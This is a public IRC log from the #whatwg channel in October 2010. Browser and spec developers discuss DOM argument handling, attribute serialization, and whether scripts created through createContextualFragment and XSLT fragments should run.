Options:
- # Session Start: Wed Oct 20 00:00:00 2010
- # Session Ident: #whatwg
- # [00:00] <jgraham> I think we should throw for too-few arguments but not too many
- # [00:00] <heycam> i wonder if sites rely on elements with ID or name "null"
- # [00:00] <heycam> jgraham, for consistency with the functions defined in the ES spec?
- # [00:00] * gsnedders places bet they do
- # [00:00] <gsnedders> I think we should throw for both.
- # [00:00] <jgraham> heycam: For sanity, mainly
- # [00:01] <heycam> you'll have to define sanity :)
- # [00:01] <zcorpan> opera and firefox throw for too few but not too many
- # [00:01] <gsnedders> It means we can add new features with new arguments, and it's obvious when they aren't supported
- # [00:01] <heycam> gsnedders, yeah i think that would be the main argument for throwing for too many
- # [00:01] <jgraham> We can't really do that reliably at the moment if others don't throw
- # [00:02] <jgraham> And it seems like DOM should be as consistent with javascript as possible
- # [00:02] <heycam> if others don't throw, then introducing new overloads with more arguments is already going to be fraught with compat worries then, i suppose!
- # [00:03] <jgraham> We should tie it to ES5 strict mode!
- # [00:03] <jgraham> (note: not a serious suggestion)
- # [00:03] <gsnedders> No, to Harmony!
- # [00:03] <jgraham> (although I can imagine people seriously advocating it)
- # [00:03] <gsnedders> (note: an even less serious suggestion)
- # [00:04] <heycam> i'll tie you to E5 strict mode in a minute!
- # [00:04] <heycam> ES5*
- # [00:04] <Rik`> so Chrome 7 is the first browser to ship a HTML5 parser, right?
- # [00:04] <zcorpan> chrome 7 shipped?
- # [00:04] <gsnedders> Well, they haven't shipped it in stable, and Chrome 6 is still beta, no?
- # [00:04] <gsnedders> Firefox 4 has shipped in betas, at least
- # [00:05] <Rik`> zcorpan: http://googlechromereleases.blogspot.com/2010/10/stable-channel-update.html
- # [00:05] * gsnedders realizes how out of date he is
- # [00:05] <aho> dev channel is at 8.0.552.5 right now :>
- # [00:06] * gsnedders wonders why TabAtkins_ did the CSS 2.1 IR with 6 (so not even the beta, as agreed before…)
- # [00:06] <zcorpan> well then i guess the answer is "yes"
- # [00:07] <gsnedders> (Also: sing-along A Wizard of Oz! :D)
- # [00:08] * Quits: Anti-X (~duckmysic@77.17.17.130.tmi.telenormobil.no)
- # [00:09] <heycam> hsivonen (and anyone else): consider http://mcc.id.au/temp/ser.html and how the xlink:href attribute gets (un-round-tripably) serialised to an attribte named "href" in firefox nightlies (at least)
- # [00:09] <gsnedders> (But maybe only I find that awesome.)
- # [00:09] <heycam> is that per spec, and if so, is it reasonable behaviour?
- # [00:10] <gsnedders> heycam: Off the top of my head, per spec
- # [00:10] <heycam> gsnedders, ok. reasonable?
- # [00:10] <gsnedders> Yeah, per spec.
- # [00:10] <gsnedders> IMO no.
- # [00:10] <heycam> imo valid html syntax should be roundtrippable always
- # [00:13] <zcorpan> "For each attribute that the element has, append a U+0020 SPACE character, the attribute's name (which, for attributes set by the HTML parser or by Element.setAttributeNode() or Element.setAttribute(), will be lowercase), a U+003D EQUALS SIGN character (=), a U+0022 QUOTATION MARK character ("), the attribute's value, escaped as described below in attribute mode, and a second U+0022 QUOTATION MARK character (")."
- # [00:13] <hober> heycam: I see the same in chrome, fwiw
- # [00:13] <zcorpan> i think "the attribute's name" is the qualified name
- # [00:13] <gsnedders> Why?
- # [00:14] <jgraham> why what?
- # [00:15] <gsnedders> Why do you think it's the qname?
- # [00:15] <zcorpan> because i remember discussing this exact issue a few years back
- # [00:15] <zcorpan> and attr.name returns the qname
- # [00:16] <jgraham> Could be clearer in the spec
- # [00:16] <heycam> looking at http://www.whatwg.org/specs/web-apps/current-work/#adjust-foreign-attributes it doesn't explicitly say what the dom 1 name of the attribute node should be
- # [00:17] <zcorpan> heycam: web dom core fixes that :)
- # [00:17] <zcorpan> jgraham: yes. i'll file a bug
- # [00:19] <heycam> zcorpan, so it does :)
- # [00:20] <heycam> but does "attribute name" in html5 mean attr.name?
- # [00:21] <jgraham> heycam: Who knows :) Hence the bug
- # [00:21] <jgraham> (I assume zcorpan is right that it does)
- # [00:21] <jgraham> (but nevertheless that cannot be reliably deduced from the spec)
- # [00:22] * gsnedders assumed localname, but oh well
- # [00:25] <jgraham> So did I but zcorpan made more sense
- # [00:25] <gsnedders> zcorpan often does.
- # [00:27] <heycam> i did a `host` on the ip address zcorpan filed the bug from to find ...cust.bredbandsbolaget.se. to me it read like "bread and beaujolais", and now i'm hungry.
- # [00:28] <zcorpan> lol
- # [00:28] <zcorpan> time for sleep
- # [00:28] <heycam> later
- # [00:28] <zcorpan> bye
- # [00:28] * Quits: zcorpan (~zcorpan@c-ec9fe355.410-6-64736c14.cust.bredbandsbolaget.se) (Quit: zcorpan)
- # [00:34] * Joins: boogyman (~boogy@unaffiliated/boogyman)
- # [00:38] * Quits: BlurstOfTimes (~blurstoft@168.203.117.107) (Remote host closed the connection)
- # [00:40] * Joins: nimbupani (~nimbupani@c-24-22-131-46.hsd1.wa.comcast.net)
- # [00:46] * Joins: chrx (~chris@CPE-61-9-185-15.static.vic.bigpond.net.au)
- # [00:52] * Quits: nimbupani (~nimbupani@c-24-22-131-46.hsd1.wa.comcast.net) (Quit: nimbupani)
- # [00:53] * Quits: jwalden (~waldo@nat/mozilla/x-subuhlgbxuubiour) (Quit: back later)
- # [00:59] * Quits: workmad3 (~workmad3@cpc3-bagu10-0-0-cust651.1-3.cable.virginmedia.com) (Remote host closed the connection)
- # [01:02] * Quits: cardona507 (~cardona50@c-24-130-129-16.hsd1.ca.comcast.net) (Quit: zzzzz)
- # [01:08] * Quits: KaOSoFt (~maxzagato@unaffiliated/kaosoft)
- # [01:09] * Joins: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
- # [01:23] * Quits: FireFly (~firefly@unaffiliated/firefly) (Quit: swatted to death)
- # [01:26] * Joins: f1lt3r (~f1lt3r@64.119.153.2)
- # [01:27] * Joins: nattokirai (~nattokira@EM114-48-145-9.pool.e-mobile.ne.jp)
- # [01:27] * Quits: chrx (~chris@CPE-61-9-185-15.static.vic.bigpond.net.au) (Quit: chrx)
- # [01:29] * Joins: miketaylr (~miketaylr@64.132.60.70)
- # [01:32] * Quits: mdelaney (~mdelaney@2620:0:1b00:1191:d69a:20ff:febf:89a0) (Quit: mdelaney)
- # [01:37] * Quits: MikeSmith (~MikeSmith@EM114-48-33-102.pool.e-mobile.ne.jp) (Ping timeout: 252 seconds)
- # [01:38] * Joins: MikeSmith (~MikeSmith@EM114-48-155-57.pool.e-mobile.ne.jp)
- # [01:48] * Joins: fishd (~fishd@nat/google/x-kuljsswxdjbagpke)
- # [01:59] * Joins: kennyluck (~kennyluck@2001:200:1c0:3602:225:ff:fe4d:f8c7)
- # [02:12] * Quits: jennb (~jennb@74.125.59.65) (Quit: jennb)
- # [02:13] * Joins: jwalden (~waldo@nat/mozilla/x-rzgtanqrecmasbgd)
- # [02:14] * Quits: ZombieLoffe (~e@unaffiliated/zombieloffe)
- # [02:18] * Quits: nattokirai (~nattokira@EM114-48-145-9.pool.e-mobile.ne.jp) (Quit: nattokirai)
- # [02:27] * Quits: f1lt3r (~f1lt3r@64.119.153.2) (Remote host closed the connection)
- # [02:49] * Quits: ap (~ap@2620:0:1b00:1191:226:4aff:fe14:aad6) (Quit: ap)
- # [02:50] * Quits: boogyman (~boogy@unaffiliated/boogyman) (Quit: ChatZilla 0.9.86 [Firefox 3.6.10/20100914125854])
- # [02:50] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
- # [02:50] * Quits: webben (~benjamin@173-203-84-17.static.cloud-ips.com) (Excess Flood)
- # [02:53] * Quits: miketaylr (~miketaylr@64.132.60.70) (Remote host closed the connection)
- # [02:59] * Joins: wakaba_ (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp)
- # [03:07] * Quits: tonyg-cr (~Adium@nat/google/x-oqwtdnowdhxaeipd) (Ping timeout: 240 seconds)
- # [03:07] * Quits: david_carlisle (~davidc@dcarlisle.demon.co.uk) (Quit: david_carlisle)
- # [03:08] * Joins: agektmr (~Adium@2401:fa00:4:1012:fa1e:dfff:fee6:d74e)
- # [03:22] * Joins: chrx (~chris@CPE-61-9-185-15.static.vic.bigpond.net.au)
- # [03:23] * Quits: chrx (~chris@CPE-61-9-185-15.static.vic.bigpond.net.au) (Client Quit)
- # [03:24] * Quits: sicking (~chatzilla@nat/mozilla/x-lkxknnkevbnoncjw) (Remote host closed the connection)
- # [03:33] * Quits: dbaron (~dbaron@nat/mozilla/x-mbofehkqukodgchu) (Quit: 8403864 bytes have been tenured, next gc will be global.)
- # [03:39] * Joins: Rik`_ (~Rik`@pha75-2-81-57-187-57.fbx.proxad.net)
- # [03:40] * Joins: Adawerk``` (~mven__@169.241.49.57)
- # [03:40] * Joins: roc_ (~roc@203-97-204-82.dsl.clear.net.nz)
- # [03:40] * Joins: gavin__ (~gavin@people.mozilla.com)
- # [03:40] * Joins: nessy1 (~Adium@124-168-60-18.dyn.iinet.net.au)
- # [03:40] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
- # [03:40] * Quits: webben (~benjamin@173-203-84-17.static.cloud-ips.com) (Excess Flood)
- # [03:41] * Quits: Rik` (~Rik`@pha75-2-81-57-187-57.fbx.proxad.net) (Ping timeout: 276 seconds)
- # [03:41] * Quits: nessy (~Adium@124-168-60-18.dyn.iinet.net.au) (Ping timeout: 276 seconds)
- # [03:41] * Quits: roc (~roc@203-97-204-82.dsl.clear.net.nz) (Ping timeout: 276 seconds)
- # [03:41] * Quits: volkmar (~volkmar@gentoo/developer/volkmar) (Ping timeout: 276 seconds)
- # [03:41] * Quits: connrs (~paul@host86-136-132-1.range86-136.btcentralplus.com) (Ping timeout: 276 seconds)
- # [03:41] * Quits: mven (~mven__@169.241.49.57) (Ping timeout: 276 seconds)
- # [03:41] * Quits: espadrine (~espadrine@acces0670.res.insa-lyon.fr) (Ping timeout: 276 seconds)
- # [03:41] * roc_ is now known as roc
- # [03:41] * Quits: gavin (~gavin@firefox/developer/gavin) (Ping timeout: 276 seconds)
- # [03:41] * Quits: SecretAgent (sa@quake.nitemare.name) (Ping timeout: 276 seconds)
- # [03:41] * Quits: eighty4 (~eighty4@unaffiliated/eighty4) (Ping timeout: 276 seconds)
- # [03:41] * Quits: JonathanNeal (~Jonathan_@rrcs-76-79-114-214.west.biz.rr.com) (Ping timeout: 240 seconds)
- # [03:41] * Joins: connrs_ (~paul@host86-136-132-1.range86-136.btcentralplus.com)
- # [03:41] * Quits: othermaciej (~mjs@17.246.19.39) (Quit: othermaciej)
- # [03:41] * Joins: volkmar_ (~volkmar@rps1542.ovh.net)
- # [03:41] * Quits: fishd (~fishd@nat/google/x-kuljsswxdjbagpke) (*.net *.split)
- # [03:41] * Quits: riven (~riven@53518387.cm-6-2c.dynamic.ziggo.nl) (*.net *.split)
- # [03:41] * Quits: davidwalsh (~davidwals@75-134-27-91.dhcp.mdsn.wi.charter.com) (*.net *.split)
- # [03:41] * Quits: aroben (~aroben@unaffiliated/aroben) (*.net *.split)
- # [03:41] * Quits: Martijnc (~Martijnc@91.176.26.11) (*.net *.split)
- # [03:41] * Quits: pablof (~palbo@pat-tdc.opera.com) (*.net *.split)
- # [03:41] * Quits: micheil (~micheil@124-149-173-56.dyn.iinet.net.au) (*.net *.split)
- # [03:41] * Quits: drry (~drry@unaffiliated/drry) (*.net *.split)
- # [03:41] * Quits: mike][inq (~mike@2001:858:5:303:224:81ff:fe12:b5c4) (*.net *.split)
- # [03:41] * Quits: tyoshino (~tyoshino@220.109.219.244) (*.net *.split)
- # [03:41] * Quits: FastJack (~fastjack@dumpstr.net) (*.net *.split)
- # [03:41] * Quits: Workshiva (~Dashiva@74.125.57.33) (*.net *.split)
- # [03:41] * Quits: yusukes (~yusukes@2401:fa00:4:1000:224:81ff:fec1:6444) (*.net *.split)
- # [03:41] * Quits: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f) (*.net *.split)
- # [03:41] * Quits: asmodai (asmodai@dhammapada.xs4all.nl) (*.net *.split)
- # [03:41] * Quits: hendry (~hendry@webconverger.org) (*.net *.split)
- # [03:41] * Quits: gsnedders (~gsnedders@204.232.194.186) (*.net *.split)
- # [03:41] * Quits: bzed (~bzed@devel.recluse.de) (*.net *.split)
- # [03:41] * Joins: espadrine (~espadrine@acces0670.res.insa-lyon.fr)
- # [03:41] * Quits: murz (~mmurraywa@wcproxy.msnbc.com) (Remote host closed the connection)
- # [03:41] * Joins: drry (~drry@unaffiliated/drry)
- # [03:44] * Joins: eighty4_ (~eighty4@li150-164.members.linode.com)
- # [03:44] * Joins: SecretAg1nt (sa@quake.nitemare.name)
- # [03:44] * Joins: fishd (~fishd@nat/google/x-kuljsswxdjbagpke)
- # [03:44] * Joins: riven (~riven@53518387.cm-6-2c.dynamic.ziggo.nl)
- # [03:44] * Joins: aroben (~aroben@unaffiliated/aroben)
- # [03:44] * Joins: Martijnc (~Martijnc@91.176.26.11)
- # [03:44] * Joins: pablof (~palbo@pat-tdc.opera.com)
- # [03:44] * Joins: micheil (~micheil@124-149-173-56.dyn.iinet.net.au)
- # [03:44] * Joins: mike][inq (~mike@2001:858:5:303:224:81ff:fe12:b5c4)
- # [03:44] * Joins: tyoshino (~tyoshino@220.109.219.244)
- # [03:44] * Joins: FastJack (~fastjack@dumpstr.net)
- # [03:44] * Joins: Workshiva (~Dashiva@74.125.57.33)
- # [03:44] * Joins: yusukes (~yusukes@2401:fa00:4:1000:224:81ff:fec1:6444)
- # [03:44] * Joins: yutak (~yutak@2401:fa00:4:1000:21d:9ff:fe0a:85f)
- # [03:44] * Joins: asmodai (asmodai@dhammapada.xs4all.nl)
- # [03:44] * Joins: hendry (~hendry@webconverger.org)
- # [03:44] * Joins: gsnedders (~gsnedders@204.232.194.186)
- # [03:44] * Joins: bzed (~bzed@devel.recluse.de)
- # [03:45] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
- # [03:45] * Quits: webben (~benjamin@173-203-84-17.static.cloud-ips.com) (Excess Flood)
- # [03:49] * nessy1 is now known as nessy
- # [03:50] * Quits: romeo_ (~romeo__@x1-6-00-10-a7-28-f3-47.k562.webspeed.dk) (Quit: Leaving)
- # [03:53] * Joins: JohnnyAmerica (~Simon@213-64-113-37-no97.tbcn.telia.com)
- # [03:56] * Joins: othermaciej (~mjs@17.246.19.39)
- # [03:59] * Joins: JonathanNeal (~Jonathan_@99-59-125-34.lightspeed.irvnca.sbcglobal.net)
- # [04:01] * Quits: estes (~aestes@17.246.19.249) (Quit: estes)
- # [04:01] * Quits: nessy (~Adium@124-168-60-18.dyn.iinet.net.au) (Quit: Leaving.)
- # [04:07] * Quits: othermaciej (~mjs@17.246.19.39) (Quit: othermaciej)
- # [04:10] * Quits: JoePeck (~JoePeck@2620:0:1b00:1171:d69a:20ff:febd:c914) (Ping timeout: 272 seconds)
- # [04:16] * Joins: estes (~aestes@17.246.19.249)
- # [04:25] * Joins: JoePeck (~JoePeck@c-76-102-33-198.hsd1.ca.comcast.net)
- # [04:25] * Quits: JoePeck (~JoePeck@c-76-102-33-198.hsd1.ca.comcast.net) (Client Quit)
- # [04:27] * Quits: estes (~aestes@17.246.19.249) (Quit: estes)
- # [04:28] * Joins: murz (~mmurraywa@174-21-111-3.tukw.qwest.net)
- # [04:28] * Joins: baba (~sallabanc@69.50.70.12)
- # [04:28] * Quits: baba (~sallabanc@69.50.70.12) (Changing host)
- # [04:28] * Joins: baba (~sallabanc@unaffiliated/cypha)
- # [04:33] * Quits: aroben (~aroben@unaffiliated/aroben) (Ping timeout: 252 seconds)
- # [04:35] * Quits: roc (~roc@203-97-204-82.dsl.clear.net.nz) (Quit: roc)
- # [04:36] * Joins: roc (~roc@203-97-204-82.dsl.clear.net.nz)
- # [04:36] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
- # [04:36] * Quits: webben (~benjamin@173-203-84-17.static.cloud-ips.com) (Excess Flood)
- # [04:56] * Joins: nattokirai (~nattokira@wave.mozilla.or.jp)
- # [05:00] * Joins: smorg (~quassel@174-30-207-66.mpls.qwest.net)
- # [05:00] * Joins: tonyg-cr (~Adium@c-71-202-22-159.hsd1.ca.comcast.net)
- # [05:03] * Quits: tonyg-cr (~Adium@c-71-202-22-159.hsd1.ca.comcast.net) (Client Quit)
- # [05:11] * Quits: smorg (~quassel@174-30-207-66.mpls.qwest.net) (Remote host closed the connection)
- # [05:11] * Joins: smorg (~quassel@174-30-207-66.mpls.qwest.net)
- # [05:28] * Joins: cooto (~Adium@pc-9-153-83-200.cm.vtr.net)
- # [05:38] * Quits: nattokirai (~nattokira@wave.mozilla.or.jp) (Quit: nattokirai)
- # [05:45] * Quits: JohnnyAmerica (~Simon@213-64-113-37-no97.tbcn.telia.com) (Quit: leaving)
- # [05:58] * Joins: nimbupani (~nimbupani@c-24-22-131-46.hsd1.wa.comcast.net)
- # [06:13] * Quits: cooto (~Adium@pc-9-153-83-200.cm.vtr.net) (Quit: Leaving.)
- # [06:16] * Quits: heycam (~cam@203-97-204-82.dsl.clear.net.nz) (Quit: bye)
- # [06:26] * Quits: murz (~mmurraywa@174-21-111-3.tukw.qwest.net) (Quit: murz)
- # [06:31] * Quits: jwalden (~waldo@nat/mozilla/x-rzgtanqrecmasbgd) (Quit: see you all tomorrow)
- # [06:35] * Quits: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no) (Ping timeout: 255 seconds)
- # [06:42] * Joins: JohnnyAmerica (~Simon@213-64-113-37-no97.tbcn.telia.com)
- # [06:53] * Quits: Martijnc (~Martijnc@91.176.26.11) (Ping timeout: 252 seconds)
- # [06:58] * Joins: othermaciej (~mjs@c-69-181-196-33.hsd1.ca.comcast.net)
- # [07:00] * Quits: roc (~roc@203-97-204-82.dsl.clear.net.nz) (Quit: roc)
- # [07:05] * Joins: 92AABEHRF (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp)
- # [07:05] * Joins: Heimidal (~heimidal@unaffiliated/heimidal)
- # [07:06] * Quits: lsxq (~you@unaffiliated/lsxq) (Ping timeout: 240 seconds)
- # [07:07] * Quits: homata (~homata@58x158x182x50.ap58.ftth.ucom.ne.jp) (Ping timeout: 240 seconds)
- # [07:08] * Joins: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no)
- # [07:13] * Joins: nattokirai (~nattokira@rtr.mozilla.or.jp)
- # [07:14] * Joins: erlehmann (~erlehmann@82.113.106.5)
- # [07:14] * Joins: rimantas (~rimliu@lan-84-240-20-219.vln.skynet.lt)
- # [07:18] * Joins: estes (~aestes@76.220.34.58)
- # [07:25] * Joins: lsxq (~you@unaffiliated/lsxq)
- # [07:25] * Joins: Ankheg (~Miranda@fs91-201-3-30.dubna-net.ru)
- # [07:33] * Joins: abarth (~abarth@c-67-169-68-88.hsd1.ca.comcast.net)
- # [07:37] * Quits: MikeSmith (~MikeSmith@EM114-48-155-57.pool.e-mobile.ne.jp) (Ping timeout: 250 seconds)
- # [07:38] * Joins: roc (~roc@121.98.230.221)
- # [07:42] * Joins: MikeSmith (~MikeSmith@EM114-48-116-163.pool.e-mobile.ne.jp)
- # [07:43] * Quits: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no) (Quit: Leaving)
- # [07:43] * Joins: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no)
- # [08:02] * Joins: nessy (~Adium@124-168-60-18.dyn.iinet.net.au)
- # [08:04] * Joins: Necrathex (~bleptop@212-123-163-12.ip.telfort.nl)
- # [08:08] * Quits: timeless_mbp (~timeless@a88-115-8-36.elisa-laajakaista.fi) (Remote host closed the connection)
- # [08:09] * Quits: virtuelv (~virtuelv_@65.168.34.95.customer.cdi.no) (Quit: Ex-Chat)
- # [08:12] * Quits: nimbupani (~nimbupani@c-24-22-131-46.hsd1.wa.comcast.net) (Quit: nimbupani)
- # [08:17] * Quits: Lachy (~Lachlan@cm-84.215.59.50.getinternet.no) (Quit: Leaving)
- # [08:22] * Quits: roc (~roc@121.98.230.221) (Quit: roc)
- # [08:23] * Joins: FireFly (~firefly@unaffiliated/firefly)
- # [08:32] * Quits: lsxq (~you@unaffiliated/lsxq) (Ping timeout: 252 seconds)
- # [08:40] * Joins: matjas (~matjas@91.182.217.84)
- # [08:45] * Joins: lsxq (~you@unaffiliated/lsxq)
- # [08:46] * Quits: peterhil (~peterhil@a91-153-127-82.elisa-laajakaista.fi) (Ping timeout: 255 seconds)
- # [08:49] * Joins: Maurice (~ano@a80-101-46-164.adsl.xs4all.nl)
- # [08:49] * Joins: timeless_mbp (~timeless@a88-115-8-36.elisa-laajakaista.fi)
- # [08:52] * Joins: henrikbjorn (~henrik@80.199.116.190.static.peytz.dk)
- # [08:52] * Quits: Peter` (~peter@170-116.citynet.ftth.internl.net) (Read error: Connection reset by peer)
- # [08:54] <Hixie> does IE8 not support incremental loading of HTML content?
- # [08:54] <Hixie> http://www.hixie.ch/tests/adhoc/dom/level0/timers/nph-009-demo.html for me in IE has it wait til the whole thing is loaded before parsing anything
- # [08:57] * Quits: kennyluck (~kennyluck@2001:200:1c0:3602:225:ff:fe4d:f8c7) (Quit: kennyluck)
- # [08:59] * Quits: erlehmann (~erlehmann@82.113.106.5) (Quit: Die demokratieerhaltende Whistleblower-Organisation Krautchan freut sich immer über Spenden.)
- # [09:01] * Joins: Peter` (~peter@170-116.citynet.ftth.internl.net)
- # [09:01] * Quits: Peter` (~peter@170-116.citynet.ftth.internl.net) (Read error: Connection reset by peer)
- # [09:04] * Joins: kennyluck (~kennyluck@2001:200:1c0:3602:225:ff:fe4d:f8c7)
- # [09:06] <hsivonen> Hixie: if we make createContextualFragment create scripts that are script-created and don't have their 'already started' flag set, would you be OK with adding a parameter to the HTML fragment parsing algorithm for controlling script execution prevention?
- # [09:06] <Hixie> what's createContextualFragment()?
- # [09:07] <Hixie> is it like insertAdjacentHTML()?
- # [09:07] <hsivonen> Hixie: it runs the fragment parsing algorithm with a string input and a context node and returns the corresponding DOM fragment
- # [09:07] <Hixie> or is it the DOM Range thing?
- # [09:07] <hsivonen> Hixie: it's the Range thing
- # [09:07] <Hixie> hmm
- # [09:07] <hsivonen> I think insertAdjacentHTML() should prevent execution
- # [09:08] <Hixie> what's the use case for inserting scripts with createContextualFragment?
- # [09:08] * Joins: Anti-X (~duckmysic@93.179.9.80)
- # [09:08] <Hixie> if we can get away with it just not executing scripts that sounds best to me
- # [09:08] <hsivonen> Hixie: currently, the main use case is emulating insertAdjacentHTML in browsers that don't have it *yet*
- # [09:09] <Hixie> in that case, yeah, not running scripts seems best
- # [09:09] <Hixie> (there are browsers with createContextualFragment but not insertAdjacentHTML?)
- # [09:09] <hsivonen> Hixie: but once insertAdjacentHTML is supported, if you think of createContextualFragment as a standalone feature, it's a shortcut for building a DOM fragment
- # [09:09] <hsivonen> Hixie: Gecko
- # [09:09] <Hixie> wow, i thought iAH was a mozillaism
- # [09:09] <Hixie> shows what i know
- # [09:09] <hsivonen> Hixie: and if you built the DOM fragment manually, the scripts would be executable
- # [09:09] <hsivonen> so it's illogical for the shortcut to make scripts unexecutable
- # [09:09] <Hixie> well the same could be said of innerHTML
- # [09:09] <hsivonen> the scripts are executable in Firefox 3.6 and in Opera
- # [09:10] <Hixie> but it still blocks script execution
- # [09:10] <hsivonen> but not in WebKit
- # [09:10] * Joins: Peter` (~peter@170-116.citynet.ftth.internl.net)
- # [09:10] <hsivonen> Hixie: only because other browsers cloned IE imprecisely and the execution prevention became the norm
- # [09:10] <hsivonen> for innerHTML that is
- # [09:11] <Hixie> innerHTML not running scripts is definitely a plus in my book, given how much that simplifies so many complicated things
- # [09:11] <Hixie> but anyway
- # [09:11] <Hixie> how does innerHTML stop script creation currently?
- # [09:11] <Hixie> does the fragment algorithm just block it?
- # [09:11] <hsivonen> if I were just lazy, preventing script execution for createContextualFragment would be easy, but I'm inclined to think that not preventing execution is the Right Thing
- # [09:12] * Joins: mhausenblas (~mhausenbl@wg1-nat.fwgal01.deri.ie)
- # [09:13] <hsivonen> Hixie: the fragment parsing algorithm sets 'already started'
- # [09:13] <Hixie> oh, i see, the parser does
- # [09:13] * Quits: estes (~aestes@76.220.34.58) (Quit: estes)
- # [09:13] <Hixie> hm, that makes parsing a flag a bit of a pain, but we could do it i guess
- # [09:13] <Hixie> tbh i'd strongly recommend just not running scripts unless you have a very clear use case that needs it. (i mean an actual use case, not "build a DOM" or "emulate this other API")
- # [09:14] * Joins: reni__home (~reni@sedkit.inf.u-szeged.hu)
- # [09:14] * Quits: reni__home (~reni@sedkit.inf.u-szeged.hu) (Remote host closed the connection)
- # [09:14] <Hixie> running scripts in weird places is one of the main causes of there being arcane parts to the platform
- # [09:14] <hsivonen> Hixie: the annoying part is that people who've filed WebKit and Gecko bugs about this just say what behavior they want--not what their use case was
- # [09:14] <Hixie> yeah, i hear ya
- # [09:15] <Hixie> i'm battling the i18n wg as we speak over doing exactly that
- # [09:15] <hsivonen> Hixie: the current plan is the run scripts from fragments created by XSLTPrecessor, so we'd still have to support fragments with executable scripts
- # [09:15] <hsivonen> and of course manually built ones
- # [09:15] <Hixie> does anyone actually use xslt to generate scripts?
- # [09:15] <Hixie> that's just frightening
- # [09:16] <hsivonen> who knows what Dark Matter does with XSLTProcessor
- # [09:16] <Hixie> instrument the code and find out
- # [09:16] <hsivonen> Hixie: as for scripts created via <?xml-stylesheet?>, there's a Chrome Experement doing that
- # [09:17] <hsivonen> which is why the issue is now on my plate
- # [09:17] <Hixie> feel free to break chrome experiments
- # [09:17] <Hixie> i'm happy to take the blame at google for that
- # [09:18] <hsivonen> Hixie: I believe that would be against our privacy principles to instrument code without a Test Pilot opt-in
- # [09:18] <Hixie> sure, i wasn't suggesting doing it without user consent
- # [09:18] <Hixie> i just meant in a special build or something
- # [09:18] <Hixie> don't you have betas specifically for this purpose?
- # [09:18] <Hixie> i mean, instrumented betas
- # [09:18] <Hixie> not necessarily the main beta line
- # [09:19] <hsivonen> I'm not aware of Mozilla doing intrumented betas
- # [09:19] <Hixie> ah
- # [09:19] <Hixie> well
- # [09:19] <Hixie> get the chrome team to do it
- # [09:19] <hsivonen> and even if we did, there'd be the problem of getting Dark Matter users to use them
- # [09:19] <Hixie> abarth will likely be happy to set it up
- # [09:19] <Hixie> what's Dark Matter? I thought you just meant random people Out There.
- # [09:19] <hsivonen> Hixie: enterprise intranets
- # [09:20] <hsivonen> or extranets
- # [09:20] <abarth> you're going to run scripts from fragments?
- # [09:20] <abarth> that seems crazy :)
- # [09:20] <Hixie> yeah well if we're going to live in fear of breaking enterprise intranets, we'll just end up in analysis paralysis
- # [09:20] <hsivonen> abarth: is non-running in WebKit by design or by accident?
- # [09:21] <hsivonen> Hixie: why would be go ahead and break stuff that used to work just for the sake of making scripts run less?
- # [09:21] <hsivonen> s/be/we/
- # [09:21] <abarth> there are architectural problems with running scripts without a frame in webkit
- # [09:21] * Quits: henrikbjorn (~henrik@80.199.116.190.static.peytz.dk) (Remote host closed the connection)
- # [09:21] <abarth> the JavaScript engine can do it
- # [09:22] <hsivonen> abarth: oh, I don't mean running scripts while they aren't in a DOM that's in a browsing contenxt
- # [09:22] <abarth> but the code that knows how to talk to the JavaScript engine would be very confused
- # [09:22] <hsivonen> *context
- # [09:22] <Hixie> hsivonen: making scripts run less seems like a goal in and of itself to me. certainly in weird places like xslt where the security and interoperability implications are rather esoteric and not necessarily understood by many people.
- # [09:22] <hsivonen> abarth: I mean running scripts when a fragment is inserted into a DOM that's being displayed in a browsing context
- # [09:22] <hsivonen> which reminds me that I was about to file a spec bug about not running scripts that are in a document but the document doesn't have a browsing context
- # [09:22] <abarth> ah, that's technically feasible
- # [09:23] <Hixie> abarth: the specific case we're talking about instrumenting is the output of XSLT transforms that contain scripts
- # [09:23] <hsivonen> abarth: see http://hsivonen.iki.fi/test/moz/scripts/
- # [09:23] <abarth> scripts = script tags ?
- # [09:23] <abarth> or do inline event handlers count too?
- # [09:23] <Hixie> i think in gecko it creates an actual dom
- # [09:23] <hsivonen> abarth: script nodes
- # [09:23] <hsivonen> abarth: http://hsivonen.iki.fi/test/moz/scripts/createContextualFragment.html
- # [09:24] * Quits: micheil (~micheil@124-149-173-56.dyn.iinet.net.au) (Quit: micheil)
- # [09:24] <Hixie> anyway, if xslt is defined in terms of just creating a dom or a serialisation that's then parsed, it seems that this all just falls out of the spec as is
- # [09:24] <hsivonen> abarth: http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html
- # [09:24] <Hixie> how is xslt defined? (is it defined?)
- # [09:24] <hsivonen> abarth: those two run the script in Firefox 3.6 and in Opera 10.63 but not in WebKit
- # [09:24] <abarth> i think all these code paths chase down the same path as innerHTML
- # [09:24] <abarth> for inline scripts
- # [09:25] <abarth> the parser is responsible for kicking off script execution
- # [09:25] <hsivonen> abarth: it's easy to see how you'd accidentally make createContextualFragment prevent execution by reusing innerHTML infrastructure
- # [09:25] <abarth> but it doesn't do that if there's no frame
- # [09:25] <hsivonen> abarth: but http://hsivonen.iki.fi/test/moz/scripts/XSLTProcessor-transformToFragment.html is different
- # [09:25] * Joins: henrikbjorn (~henrik@80.199.116.190.static.peytz.dk)
- # [09:25] <abarth> to answer your question, i have no idea whether its intentional
- # [09:25] <hsivonen> abarth: ok
- # [09:26] <abarth> i think XSLT was added because someone at IBM complained
- # [09:26] <abarth> i'm not sure how many people actually care about it
- # [09:27] * Quits: Peter` (~peter@170-116.citynet.ftth.internl.net) (Read error: Connection reset by peer)
- # [09:28] <Hixie> IE's behaviour on http://www.hixie.ch/tests/adhoc/dom/level0/timers/nph-010-demo.html is shocking to me
- # [09:29] <Hixie> does IE really wait until the document is entirely loaded before doing anything?
- # [09:29] <Hixie> surely i'm just doing something wrong
